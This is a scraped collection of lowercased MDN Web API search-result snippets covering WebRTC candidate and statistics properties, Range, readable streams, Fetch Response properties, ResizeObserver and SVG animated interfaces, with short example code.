... function handlenewicecandidate(candidatesdp) { var candidateobj = new rtcicecandidate(candidatesdp); mypeerconnection.addicecandidate(candidateobj).catch({ /* handle the error thrown by addicecandidate() */ }); } the handlenewicecandidate() function shown here passes the received candidate's sdp text into rtcicecandidate() to receive an rtcicecanddiate object in return, which represents the candidate.
RTCIceCandidate.component - Web APIs
the read-only component property on the rtcicecandidate interface is a string which indicates whether the candidate is an rtp or an rtcp candidate.
... syntax var component = rtcicecandidate.component; value a domstring which is "rtp" for rtp (or rtp and rtcp multiplexed together) candidates or "rtcp" for rtcp candidates.
...a value of "1" indicates rtp, which is recorded in the component property as "rtp".
... example this code snippet examines a candidate's component type and dispatches the candidate to different handlers depending on the value.
RTCIceCandidate.port - Web APIs
the rtcicecandidate interface's read-only port property contains the port number on the device at the address given by ip at which the candidate's peer can be reached.
... syntax var port = rtcicecandidate.port; value a 16-bit number indicating the port number on the device at the address indicated by ip at which the candidate's peer can be reached.
... usage notes consider this sdp attribute line (a-line) which describes an ice candidate: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the port number is found in the sixth field, which is "44323".
... example this code snippet fetches the ip address and port number of the candidate, storing them into an object for future use.
RTCIceCandidate.relatedAddress - Web APIs
syntax var reladdress = rtcicecandidate.relatedaddress; value a domstring which contains the candidate's related address.
...relatedaddress can also be used by quality-of-service (qos) mechanisms.
... example in this example, the candidate's type is checked, and then debugging output is presented, based on the candidate type, including the candidate's ip and relatedaddress.
... switch(candidate.type) { case "host": console.log("host candidate's ip address is " + candidate.ip); break; case "srflx": console.log("server reflexive candidate's base address is " + candidate.relatedaddress + "; reachable at " + candidate.ip); break; case "prflx": console.log("peer reflexive candidate's base address is " + candidate.relatedaddress + "; reachable at " + candidate.ip); break; case "relay": console.log("relay candidate's address assigned by the turn server is " + candidate.relatedaddress + "; reachable at " + candidate.ip); break; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.relatedaddress' in that ...
RTCIceCandidateInit.candidate - Web APIs
if the candidate is an empty string (""), the end of the candidate list has been reached; this candidate is known as the "end-of-candidates" marker.
...the attributes are all separated by a single space character, and are in a specific order.
...if your client-side signaling layer builds and transmits a json string including the candidate to the remote peer, the remote peer might handle receiving that json message like this: function goticecandidatemessage(msg) { var icecandidate = new rtcicecandidate({ candidate: msg.candidate; }); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } it's helpful to note that for backward compatibility with older versions of the webrtc specification, the rtcicecandidate() constructor accepts the value of candidate as its only input, in place of the rtcicecandidateinit dictionary.
... that usage would change the above sample to look like this: function goticecandidatemessage(msg) { var icecandidate = new rtcicecandidate(msg.candidate); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.candidate' in that specification.
RTCIceCandidateInit.usernameFragment - Web APIs
the string may be up to 256 characters long, and has no default value.
...the specifics for which bits are random and what the remainder of the ufrag text are are left up to the browser implementation to decide.
... for example, a browser might choose to always use a 24-character ufrag in which bit 4 of each character is randomly selected between 0 and 1.
...or perhaps every character is entirely random.
RTCIceCandidatePairStats.requestsReceived - Web APIs
the rtcicecandidatepairstats dictionary's requestsreceived property indicates the total number of stun connectivity check requests that have been received so far on the connection described by this pairing of candidates.
... syntax requestsreceived = rtcicecandidatepairstats.requestsreceived; value an integer value which specifies the number of stun connectivity and/or consent requests that have been received to date on the connection described by this pair of ice candidates.
... because there's no way to tell the difference between requests made to check connectivity and requests made to check consent, the returned figure includes both.
...this differs from requestssent, which does not include retransmisions.
RTCIceCandidatePairStats.selected - Web APIs
syntax isselected = icpstats.selected; value a firefox-specific boolean value which is true if the candidate pair described by this object is the one currently in use.
... in any other browser, you can determine the selected candidate pair by looking for a stats object of type transport, which is an rtctransportstats object.
... example the function shown in this example identifies the currently-selected candidate pair from a statistics report by first iterating over each report, looking for a transport report; when one is found, that transport's selectedcandidatepairid is used to get the rtcicecandidatepair describing the connection.
... function getcurrentcandidatepair(statsresults) { statsresults.foreach(report => { if (report.type === "transport") { currentpair = statsresults.get(report.selectedcandidatepairid); } }); if (!currentpair) { statsresults.foreach(report => { if (report.type === "candidate-pair" && report.selected) { currentpair = report; } }); } return currentpair; } specifications not part of any specification.
RTCIceCandidateStats.address - Web APIs
syntax candidateaddress = rtcicecandidatestats.address; value either an ipv4 or ipv6 address or a fully-qualified domain name, which corresponds to the candidate.
... if the value is entirely comprised of hexadecimal digits and colon (":") characters, it is interpreted as an ipv6 address.
... otherwise, the address is presumed to be a fully-qualified domain name, which is resolved first using an aaaa record (assuming ipv6 is available), then using an a record (if no result is found or the device onlu supports ipv4).
... if multiple ip addresses are returned in response to the query, the user agent selects one, which is then used for the duration of ice processing.
RTCInboundRtpStreamStats.pliCount - Web APIs
these are sent by the receiver's decoder to notify the encoder (the sender) that an undefined amount of coded video data, which may span frame boundaries, has been lost.
... this may trigger the sender to send a full frame in order to allow the receiver to re-synchronize, since lost data may be an irrecoverable situation for decoding media.
... however, the primary purpose of this message is to allow the sender to consider techniques to mitigate network performance issues.
... this is often achieved by methods such as increasing the compression, lowering resolution, or finding other ways to reduce the bit rate of the stream.
RTCInboundRtpStreamStats.qpSum - Web APIs
syntax var qpsum = rtcinboundrtpstreamstats.qpsum; value an unsigned 64-bit integer value which indicates the sum of the quantization parameter (qp) value for every frame sent or received so far on the track described by the rtcinboundrtpstreamstats object.
... it's important to keep in mind that the value of qp can change periodically—even every frame—so it's difficult to know for certain how substantial the compression is.
...h.264 uses a qp which ranges from 0 to 51; in this case, it's an index used to derive a scaling matrix used during the quantization process.
... function calculateaverageqp(stats) { let framecount = 0; switch(stats.type) { case "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's...
RTCNetworkType - Web APIs
the vpn obscures the underlying network type, which is not discernible.
... unknown the user's browser is unable or unwilling to identify the underlying connection technology used by the described connection.
... this may be because the browser isn't able to determine the network type for some reason or it may be intentionally getting obscured for security reasons, such as to avoid device fingerprinting.
... note: keep in mind that the specified value only reflects the initial connection between the local peer and the next hop along the network toward reaching the remote peer.
RTCOutboundRtpStreamStats.qpSum - Web APIs
syntax var qpsum = rtcoutboundrtpstreamstats.qpsum; value an unsigned 64-bit integer value which indicates the sum of the quantization parameter (qp) value for every frame sent so far on the track described by the rtcoutboundrtpstreamstats object.
... it's important to keep in mind that the value of qp can change periodically—even every frame—so it's difficult to know for certain how substantial the compression is.
...h.264 uses a qp which ranges from 0 to 51; in this case, it's an index used to derive a scaling matrix used during the quantization process.
... function calculateaverageqp(stats) { let framecount = 0; switch(stats.type) { case "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's...
RTCPeerConnection.getSenders() - Web APIs
the rtcpeerconnection method getsenders() returns an array of rtcrtpsender objects, each of which represents the rtp sender responsible for transmitting one track's data.
... syntax var senders = rtcpeerconnection.getsenders(); return value an array of rtcrtpsender objects, one for each track on the connection.
... the order of the returned rtcrtpsenders is not defined by the specification, and may change from one call to getsenders() to the next.
... function setmuting(pc, muting) { let senderlist = pc.getsenders(); senderlist.foreach(sender) { sender.track.enabled = !muting; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.getsenders()' in that specification.
RTCPeerConnection.iceGatheringState - Web APIs
you can detect when the value of this property changes by watching for an event of type icegatheringstatechange.
... rtcicegatheringstate enum the rtcicegatheringstate enum defines string constants which reflect the current status of ice gathering, as returned using the rtcpeerconnection.icegatheringstate property.
... you can detect when this value changes by watching for an event of type icegatheringstatechange.
...if something happens that requires collecting new candidates, such as a new interface being added or the addition of a new ice server, the state will revert to "gathering" to gather those candidates.
RTCPeerConnection.onaddstream - Web APIs
such an event is sent when a mediastream is added to this connection by the remote peer.
... important: this property has been removed from the specification; you should now use rtcpeerconnection.ontrack to watch for track events instead.
... it is included here in order to help you adapt existing code and understand existing samples, which may not be up-to-date yet.
... syntax rtcpeerconnection.onaddstream = eventhandler; value a function which handles addstream events.
RTCPeerConnection.sctp - Web APIs
the read-only sctp property on the rtcpeerconnection interface returns an rtcsctptransport describing the sctp transport over which sctp data is being sent and received.
... the sctp transport is used for transmitting and receiving data for any and all rtcdatachannels on the peer connection.
... syntax var sctp = rtcpeerconnection.sctp; value a rtcsctptransport object describing the sctp transport being used by the rtcpeerconnection for transmitting and receiving on its data channels, or null if sctp negotiation hasn't happened.
... example var pc = new rtcpeerconnection(); var channel = pc.createdatachannel("mydata"); channel.onopen = function(event) { channel.send('sending a message'); } channel.onmessage = function(event) { console.log(event.data); } // determine the largest message size that can be sent var sctp = pc.sctp; var maxmessagesize = sctp.maxmessagesize; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.sctp' in that specification.
RTCRemoteOutboundRtpStreamStats - Web APIs
localid a domstring which is used to find the local rtcinboundrtpstreamstats object which shares the same synchronization source (ssrc).
... remotetimestamp a domhighrestimestamp specifying the timestamp (on the remote device) at which the statistics in the rtcremoteoutboundrtpstreamstats object were sent by the remote endpoint.
... this is different from the timestamp found in the base rtcstats dictionary; it represents the time at which the object's statistics were received or generated by the local endpoint.
...be aware that the remote clock may not be synchronized with the local clock (either in current time or speed at which time elapses).
RTCRtpReceiver.getCapabilities() static function - Web APIs
syntax let rtpcapabilities = rtcrtpreceiver.getcapabilities(kind); parameters kind a domstring indicating the type of media for which you wish to get the device's capability to receive.
...nothing is loaded, fetched, or otherwise prepared.
...for that reason, in privacy-sensitive contexts, the browser may choose to obscure the capabilities; this might be done, for example, by leaving out rarely-used codec configurations.
... function canreceiveh264() { let capabilities = rtcrtpreceiver.getcapabilities("video"); capabilities.codecs.foreach((codec) => { if (codec.mimetype === "video/h264") { return true; } }); return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.getcapabilities()' in that specification.
RTCRtpSender.getCapabilities() static function - Web APIs
syntax let rtpcapabilities = rtcrtpsender.getcapabilities(kind); parameters kind a domstring indicating the type of media for which you wish to get the sender's capability to receive.
...nothing is loaded, fetched, or otherwise prepared.
...for that reason, in privacy-sensitive contexts, the browser may choose to obscure the capabilities; this might be done, for example, by leaving out rarely-used codec configurations.
... function cansendh264() { let capabilities = rtcrtpsender.getcapabilities("video"); capabilities.codecs.foreach((codec) => { if (codec.mimetype === "video/h264") { return true; } }); return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.getcapabilities()' in that specification.
RTCRtpStreamStats.pliCount - Web APIs
a pli message is used by video decoders (running on the receiving end of the stream) to notify the encoder (the sender) that an undefined amount of coded video data, which may span frame boundaries, has been lost.
... this may trigger the sender to send a full frame in order to allow the receiver to re-synchronize, since lost data may be an irrecoverable situation for decoding media.
... however, the primary purpose of this message is to allow the sender to consider techniques to mitigate network performance issues.
... this is often achieved by methods such as increasing the compression, lowering resolution, or finding other ways to reduce the bit rate of the stream.
RTCRtpStreamStats.qpSum - Web APIs
syntax var qpsum = rtcrtpstreamstats.qpsum; value an unsigned 64-bit integer value which indicates the sum of the quantization parameter (qp) value for every frame sent or received so far on the track described by the rtcrtpstreamstats object.
... it's important to keep in mind that the value of qp can change periodically—even every frame—so it's difficult to know for certain how substantial the compression is.
...h.264 uses a qp which ranges from 0 to 51; in this case, it's an index used to derive a scaling matrix used during the quantization process.
... function calculateaverageqp(stats) { let framecount = 0; switch(stats.type) { case "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's...
RTCRtpStreamStats.ssrc - Web APIs
the rtcrtpstreamstats dictionary's ssrc property provides the synchronization source (ssrc), an integer which uniquely identifies the source of the rtp packets whose statistics are covered by the rtcstatsreport that includes this rtcrtpstreamstats dictionary.
... syntax var ssrc = rtcrtpstreamstats.ssrc; value the synchronization source (ssrc) is a 32-bit integer uniquely identifying the source of the rtp packets whose statistics are covered by the rtcstatsreport object of which this rtcrtpstreamstats object is a component.
... the manner in which these values are generated is not mandated by the specification, although it does make recommendations.
...while not part of the standard, exactly, it is a good mechanism that may be used by some browsers; others may use other methods, such as random number generators.
RTCSessionDescription.type - Web APIs
the property rtcsessiondescription.type is a read-only value of type rtcsdptype which describes the description's type.
... the allowed values are those of an enum of type rtcsdptype: "offer", the description is the initial proposal in an offer/answer exchange.
... "answer", the description is the definitive choice in an offer/answer exchange.
... "pranswer", the description is a provisional answer and may be changed when the definitive choice will be given.
RTCStats.id - Web APIs
WebAPIRTCStatsid
the id property of the rtcstats dictionary is a string which uniquely identifies the object for which this rtcstats object provides statistics.
... using the id, you can correlate two or more rtcstats-based objects in order to monitor statistics over time for a given webrtc object, such as an rtp stream, an rtcpeerconnection, or an rtcdatachannel.
... syntax var id = rtcstats.id; value a domstring which uniquely identifies the object for which this rtcstats-based object provides statistics.
... the format of the id string is not defined by the specification, so you cannot reliably make any assumptions about the contents of the string, or assume that the format of the string will remain unchanged for a given object type.
RTCStats.timestamp - Web APIs
the timestamp property of the rtcstats dictionary is a domhighrestimestamp object specifying the time at which the data in the object was sampled.
... for reports related to rtcp packets, for instance, this indicates the time at which the data covered by the statistics was received at the corresponding endpoint.
... the time is given in milliseconds elapsed since the unix epoch (the first moment of january 1, 1970, utc).
... syntax var timestamp = rtcstats.timestamp; value a domhighrestimestamp value indicating the time at which the activity described by the statistics in this object was recorded, in milliseconds elapsed since the beginning of january 1, 1970, utc.
Range.endOffset - Web APIs
WebAPIRangeendOffset
if the endcontainer is a node of type text, comment, or cdatasection, then the offset is the number of characters from the start of the endcontainer to the boundary point of the range.
... for other node types, the endoffset is the number of child nodes between the start of the endcontainer and the boundary point of the range.
...to change the endoffset of a range, use one of the range.setend methods.
... living standard no change.
Range.extractContents() - Web APIs
html id attributes are also cloned, which can lead to an invalid document if a partially-selected node is extracted and appended to the document.
... syntax documentfragment = range.extractcontents(); example basic example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); var documentfragment = range.extractcontents(); document.body.appendchild(documentfragment); moving items between containers this example lets you move items between two containers.
...ton = document.getelementbyid('swap'); button.addeventlistener('click', e => { selection = window.getselection(); for (let i = 0; i < selection.rangecount; i++) { const range = selection.getrangeat(i); if (range.commonancestorcontainer === list1 || range.commonancestorcontainer.parentnode === list1) { const documentfragment = range.extractcontents(); list2.appendchild(documentfragment); } else if (range.commonancestorcontainer === list2 || range.commonancestorcontainer.parentnode === list2) { const documentfragment = range.extractcontents(); list1.appendchild(documentfragment); } } }); result specifications specification status comment domthe definition of 'range.extractcontents()' in that specifica...
... living standard no change.
Range.startOffset - Web APIs
WebAPIRangestartOffset
if the startcontainer is a node of type text, comment, or cdatasection, then the offset is the number of characters from the start of the startcontainer to the boundary point of the range.
... for other node types, the startoffset is the number of child nodes between the start of the startcontainer and the boundary point of the range.
... to change the startoffset of a range, use the range.setstart method.
... living standard no change.
Range - Web APIs
WebAPIRange
range.endcontainer read only returns the node within which the range ends.
... range.startcontainer read only returns the node within which the range starts.
... range.detach() releases the range from use to improve performance.
... range.getboundingclientrect() returns a domrect object which bounds the entire contents of the range; this would be the union of all the rectangles returned by range.getclientrects().
ReadableStream.pipeThrough() - Web APIs
the pipethrough() method of the readablestream interface provides a chainable way of piping the current stream through a transform stream or any other writable/readable pair.
...the method will return a fulfilled promise once this process completes, unless an error is encountered while closing the destination in which case it will be rejected with that error.
... examples in the following example (see unpack chunks of a png for the full code running live, and png-transform-stream for the source code), an image is fetched and its body retrieved as a readablestream.
... // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(rs => logreadablestream('fetch response stream', rs)) // create a gray-scaled png stream out of the original .then(body => body.pipethrough(new pngtransformstream())) .then(rs => logreadablestream('png chunk stream', rs)) specifications specification status comment streamsthe definition of 'pipethrough()' in that specification.
ReadableStreamBYOBReader.read() - Web APIs
the read() method of the readablestreambyobreader interface returns a promise providing access to the next chunk in the byte stream's internal queue.
... return value a promise, which fulfills/rejects with a result depending on the state of the stream.
... the different possibilities are as follows: if a chunk is available, the promise will be fulfilled with an object of the form { value: thechunk, done: false }.
... exceptions typeerror the source object is not a readablestreambyobreader, the stream has no owner, the view is not an object or has become detached, or the view's length is 0.
ReadableStreamDefaultController.close() - Web APIs
readers will still be able to read any previously-enqueued chunks from the stream, but once those are read, the stream will become closed.
... if you want to completely get rid of the stream and discard any enqueued chunks, you'd use readablestream.cancel() or readablestreamdefaultreader.cancel().
... when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream.
... const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment stre...
ReadableStreamDefaultController.enqueue() - Web APIs
the enqueue() method of the readablestreamdefaultcontroller interface enqueues a given chunk in the associated stream.
... syntax readablestreamdefaultcontroller.enqueue(chunk); parameters chunk the chunk to enqueue.
... when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream.
... const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment stre...
ReadableStreamDefaultReader.ReadableStreamDefaultReader() - Web APIs
each chunk is read sequentially and output to the ui, until the stream has finished being read, at which point we return out of the recursive function and print the entire stream to another part of the ui.
... function fetchstream() { const reader = stream.getreader(); let charsreceived = 0; // read() returns a promise that resolves // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data.
... if (done) { console.log("stream complete"); para.textcontent = result; return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far.
... current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } specifications specification status comment streamsthe definition of 'readablestreamdefaultreader()' in that specification.
RenderingContext - Web APIs
renderingcontext is a webidl typedef which can refer to any one of the interfaces that represent a graphics rendering context within a <canvas> element: canvasrenderingcontext2d, webglrenderingcontext, or webgl2renderingcontext.
... by using the shorthand renderingcontext, methods and properties which can make use of any of these interfaces can be specified and written more easily; since <canvas> supports several rendering systems, it's helpful from a specification and browser implementation perspective to have a shorthand that means "one of these interfaces." as such, renderingcontext is an implementation detail, and isn't something web developers directly use.
... there is no renderingcontext interface, and there are no objects which implement type renderingcontext.
... the primary use of this type is the definition of the <canvas> element's htmlcanvaselement.getcontext() method, which returns a renderingcontext (meaning it returns any one of the rendering context types).
Report - Web APIs
WebAPIReport
properties report.body read only the body of the report, which is a reportbody object containing the detailed report information.
... the report details are displayed via the displayreports() fuction, which takes the observer callback's reports parameter as its parameter: function displayreports(reports) { const outputelem = document.queryselector('.output'); const list = document.createelement('ul'); outputelem.appendchild(list); for(let i = 0; i < reports.length; i++) { let listitem = document.createelement('li'); let textnode = document.createtextnode('report ' + (i + 1) + ', ty...
...pe: ' + reports[i].type); listitem.appendchild(textnode); let innerlist = document.createelement('ul'); listitem.appendchild(innerlist); list.appendchild(listitem); for (let key in reports[i].body) { let innerlistitem = document.createelement('li'); let keyvalue = reports[i].body[key]; innerlistitem.textcontent = key + ': ' + keyvalue; innerlist.appendchild(innerlistitem); } } } the reports parameter contains an array of all the reports in the observer's report queue.
... we loop over each report using a basic for loop, then iterate over each entry of in the report's body using a for...in structure, displaying each key/value pair inside a list item.
Request.mode - Web APIs
WebAPIRequestmode
the mode read-only property of the request interface contains the mode of the request (e.g., cors, no-cors, same-origin, or navigate.) this is used to determine if cross-origin requests lead to valid responses, and which properties of the response are readable.
... the associated mode, available values of which are: same-origin — if a request is made to another origin with this mode set, the result is simply an error.
... default mode requests can be initiated in a variety of ways, and the mode for a request depends on the particular means by which it was initiated.
... example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request mode in a variable: var myrequest = new request('flowers.jpg'); var mymode = myrequest.mode; // returns "cors" by default specifications specification status comment fetchthe definition of 'mode' in that specification.
ResizeObserver() - Web APIs
the resizeobserver constructor creates a new resizeobserver object, which can be used to report changes to the content or border box of an element or the bounding box of an svgelement.
...the function is called with two parameters: entries an array of resizeobserverentry objects that can be used to access the new dimensions of the element after each change.
...this could be used for example to automatically unobserve the observer when a certain condition is reached, but you can omit it if you don't need it.
... the callback will generally follow a pattern along the lines of: function(entries, observer) { for (let entry of entries) { // do something to each entry // and possibly something to the observer itself } } examples the following snippet is taken from the resize-observer-text.html (see source) example: const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width/600) + 'rem'; }...
Response.clone() - Web APIs
WebAPIResponseclone
example in our fetch response clone example (see fetch response clone live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fetch this request using fetch().
... when the fetch resolves successfully, we clone it, extract a blob from both responses using two body.blob calls, create object urls out of the blobs using url.createobjecturl, and display them in two separate <img> elements.
... var image1 = document.queryselector('.img1'); var image2 = document.queryselector('.img2'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { var response2 = response.clone(); response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); image1.src = objecturl; }); response2.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); image2.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'clone()' in that specification.
Response.headers - Web APIs
WebAPIResponseheaders
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
... note that at the top of the fetch() block we log the response headers value to the console.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.headers); // returns a headers{} object response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'headers' in that specification.
Response.ok - Web APIs
WebAPIResponseok
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
... note: at the top of the fetch() block we log the response ok value to the console.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.ok); // returns true if the response returned successfully response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'ok' in that specification.
Response.status - Web APIs
WebAPIResponsestatus
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
... note that at the top of the fetch() block we log the response status value to the console.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.status); // returns 200 response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'status' in that specification.
Response.statusText - Web APIs
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
... note that at the top of the fetch() block we log the response statustext value to the console.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.statustext); // returns "ok" if the response returned successfully response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'statustext' in that specification.
Response.url - Web APIs
WebAPIResponseurl
example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
... note that at the top of the fetch() block we log the response url to the console.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.url); // returns /docs/web/api/response/flowers.jpg response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'url' in that specification.
SVGAnimateElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="291" y="65" width="190" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">s...
...points="291,89 281,84 281,94 291,89" stroke="#d4dde4" fill="none"/><line x1="281" y1="89" x2="251" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimateelement" target="_top"><rect x="81" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="166" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimateelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svganimationelement.
SVGAnimatedAngle - Web APIs
svg animated angle interface the svganimatedangle interface is used for attributes of basic type <angle> which can be animated.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedanglechrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support 10webview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support 3samsung internet android full support yeslegend full support full support no support no support ...
SVGAnimatedBoolean - Web APIs
svg animated boolean interface the svganimatedboolean interface is used for attributes of type boolean which can be animated.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedbooleanchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedEnumeration - Web APIs
svg animated enumeration interface the svganimatedenumeration interface is used for attributes whose value must be a constant from a particular enumeration and which can be animated.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
